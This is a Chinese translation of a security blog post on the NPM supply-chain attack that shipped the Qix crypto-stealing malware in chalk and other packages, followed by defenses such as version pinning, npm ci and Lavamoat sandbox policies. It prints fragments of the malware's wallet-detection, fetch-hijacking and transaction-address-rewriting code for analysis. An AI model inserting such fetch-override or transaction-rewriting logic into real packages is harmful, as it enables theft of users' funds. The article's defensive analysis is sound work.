如何防御供应链攻击

osecio 发布于 2025-09-14 阅读 19

本文分析了近期NPM供应链攻击事件,详细介绍了Qix恶意软件的工作原理:检测加密钱包、拦截HTTP请求替换区块链地址、使用Levenshtein距离算法替换交易接收地址。文章提出了防御措施,包括版本锁定、使用npm ci以及实施Lavamoat(MetaMask开发的沙箱工具)来限制依赖权限。通过策略文件,Lavamoat可以防止恶意代码访问全局对象或篡改函数,从而阻止攻击。

如何抵御供应链攻击

引言

近期针对 NPM 的供应链攻击在开发者社区引发了轩然大波,并残酷地提醒我们依赖项中潜藏的风险。包括 chalk 在内的多个广泛使用的软件包发布了恶意版本,其中包含旨在窃取加密货币的复杂恶意软件。

此次攻击突显了开源生态系统中的根本性漏洞:你安装的任何软件包都会获得与你自己代码相同的权限,从而可以自由访问 Cookie 和网络堆栈等重要资源。

在本文中,我们将剖析恶意软件的工作原理,并概述开发者可以使用的实用防御措施,包括已被 Web3 生态领导者采用的 Lavamoat 工具。

Qix 恶意软件:工作原理

攻击者发布了经过修改的软件包版本,其中包含旨在执行三项操作的代码:

  1. 检测加密钱包。 恶意软件检查了像 MetaMask 这样的以太坊钱包:
async function checkethereumw() {
     try {
       const _0x124ed3 = await window.ethereum.request({
         'method': "eth_accounts"
       });
       if (_0x124ed3.length > 0) {
         runmask();
         if (rund != 1) {
           rund = 1;
           neth = 1;
           newdlocal();
         }
       } else if (rund != 1) {
         rund = 1;
         newdlocal();
       }
     }
}
  1. 拦截 HTTP 请求/响应 并将区块链地址替换为攻击者的钱包地址(代码已修改以便更易理解):
fetch = async function (...args) {
     const originalResponse = await originalFetch.call(this, ...args);
     const contentType = originalResponse.headers.get('Content-Type') || '';
     let data;
     if (contentType.includes('application/json')) {
       data = await originalResponse.clone().json();
     } else {
       data = await originalResponse.clone().text();
     }
     const processedData = replaceAddresses(data);
     const finalResponseText =
       typeof processedData === 'string' ? processedData : JSON.stringify(processedData);
     const finalResponse = new Response(finalResponseText, {
       status: originalResponse.status,
       statusText: originalResponse.statusText,
       headers: originalResponse.headers,
     });
     return finalResponse;
};
  1. 拦截钱包请求 并悄悄将收款人地址替换为攻击者的地址。它没有直接进行简单替换,而是使用 Levenshtein 距离算法选择一个相似地址,从而使受害者更难注意到资金被转走:
if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
     try {
       const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
       _0x2c3d7e.params[0] = _0x39ad21;
     } catch (_0x226343) {}
} else {
     if (
       (_0x2c3d7e.method === 'solana_signTransaction' ||
         _0x2c3d7e.method === 'solana_signAndSendTransaction') &&
       _0x2c3d7e.params &&
       _0x2c3d7e.params[0]
     ) {
       try {
         let _0x5ad975 = _0x2c3d7e.params[0];
         if (_0x5ad975.transaction) {
           _0x5ad975 = _0x5ad975.transaction;
         }
         const _0x5dbe63 = _0x1089ae(_0x5ad975, false);
         if (_0x2c3d7e.params[0].transaction) {
           _0x2c3d7e.params[0].transaction = _0x5dbe63;
         } else {
           _0x2c3d7e.params[0] = _0x5dbe63;
         }
       } catch (_0x4b99fd) {}
     }
}

攻击的影响

尽管此次攻击针对的是流行的 NPM 软件包,但漏洞利用并不成功。两天后,攻击者的钱包仅窃取了约 1000 美元。然而,值得警惕的是,一个受信任的依赖项可以多么轻易地成为恶意软件的传播载体。

为何此类攻击会再次发生

开源生态系统的去中心化特性,尤其是像 NPM 这样庞大的注册表,使其成为攻击者眼中持续存在且颇具吸引力的目标。虽然最近的这次攻击很快被遏制且经济损失轻微,但它作为一个强有力且广为流传的概念验证,展示了一个被入侵的维护者如何大规模分发恶意软件。

拥有超过两百万个软件包以及无数层的直接和传递依赖项,一次入侵可能在数小时内级联影响数千个项目。这是经典的“大海捞针”问题,只不过这片大海还在不断增长。

开发者可以做什么

如果你正在构建关键系统,而在你的威胁模型中供应链攻击是不可接受的风险,以下是一些你可以采取的实用措施:

1. 在 package.json 中固定版本

当攻击者发布了一个 NPM 软件包的新版本,而应用程序自动下载它以获取最新版本时,应用程序就会因供应链攻击而受损。

你可以固定依赖项的版本,确保运行 npm install 时它们不会被更新。要固定版本,只需移除 package.json 中版本号前面的脱字符 (^) 即可:

"@react-native-async-storage/async-storage": "1.23.1",
"@react-native-community/datetimepicker": "8.3.0",
"@react-native-community/netinfo": "11.4.1",
"@react-native-picker/picker": "2.11.0"

2. 使用 npm ci

npm ci 使用 package-lock.json 中的依赖版本安装软件包。考虑在 CI/CD 工作流中使用它,仅在添加新包或更新现有包时使用 npm install

3. 实施 Lavamoat

基本的安全措施有所帮助,但并不能解决根本问题:一个次要的工具包与你的代码拥有相同的权限。Lavamoat 改变了这种模式。由 MetaMask 创建的 Lavamoat 通过将软件包沙箱化并强制执行最小权限原则来解决这个问题。有了它,即使某个依赖项包含恶意软件,也无法危害应用程序。

Lavamoat 使用 SES(强化 JavaScript)来强制执行这些限制,限制每个包可以访问的全局变量、函数和子依赖项。规则定义在策略文件中,如下所示:

"resources": {
  "@ethereumjs/util>@ethereumjs/rlp": {
    "globals": {
      "TextEncoder": true
    }
  },
  "@ethereumjs/util": {
    "globals": {
      "console.warn": true,
      "fetch": true
    },
    "packages": {
      "@ethereumjs/util>@ethereumjs/rlp": true,
      "@ethereumjs/util>ethereum-cryptography": true
    }
  }
}

在这个例子中,它限制 @ethereumjs/util 包只能使用 console.warnfetch 函数,并且只能包含 @ethereumjs/rlpethereum-cryptography 这两个包。

警告(谨慎重新生成策略)

策略文件可以自动生成,并且应该小心地重新生成,因为如果在安装恶意包时生成策略,Lavamoat 的保护可能被绕过。

Lavamoat 还会自动冻结全局对象,防止它们被替换或篡改。参见 Object.freeze()

Lavamoat vs. Qix 恶意软件

如果一个 dApp 被 Qix 恶意软件入侵(比如它使用了 chalk),它需要执行以下操作来从钱包中盗取资金:

  1. fetch 函数替换为自定义函数。
  2. 访问 window.ethereum
  3. 调用原始的 fetch 函数。
  4. 以及其他此处不相关的操作。

如果 dApp 使用 Lavamoat 并为 chalk 5.6.0(非恶意版本)生成了策略,策略将如下所示:

"chalk": {
  "globals": {
    "navigator.userAgent": true,
    "navigator.userAgentData": true
  }
},

这意味着 chalk 依赖项只能从 navigator 访问这两个全局属性。

当被入侵的 dApp 执行 chalk v5.6.1 的恶意载荷时,会因权限不足而失败:

控制台错误显示 chalk 恶意软件在 Lavamoat 下失败,提示“Cannot define property fetch, object is not extensible”

该错误显示恶意软件失败,因为它无法重新定义 fetch 函数:

TypeError#1: Cannot define property fetch, object is not extensible

Lavamoat 实践

OtterSec 团队在 2024 年底审计了 Lavamoat Webpack 插件,并发现了攻击者可能用来绕过 Lavamoat 保护的漏洞(查看审计报告)。

与任何安全工具一样,它并非完美无缺,但它代表了一个重要的转变:它最大限度地限制了恶意代码能做什么,而不是假设每个依赖项都值得完全信任。供应链攻击的目的是攻击尽可能多的受害者,而不是针对单个组织。通过实施 Lavamoat,你可以大幅减少暴露面,并迫使攻击者寻找其他目标。

最终想法

NPM 事件可能没有造成巨大损失,但它清楚地证明了当前模式有多么脆弱。供应链攻击还会再次发生,仅依赖注册表安全是不够的。

版本固定和 npm ci 提供了基线防御,但 Lavamoat 代表了下一步:对依赖项强制实施最小权限。如果你正在构建关键应用程序,采用并贡献于 Lavamoat 是保持领先的最有效方法之一。

  • 原文链接: osec.io/blog/how-to-surv...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论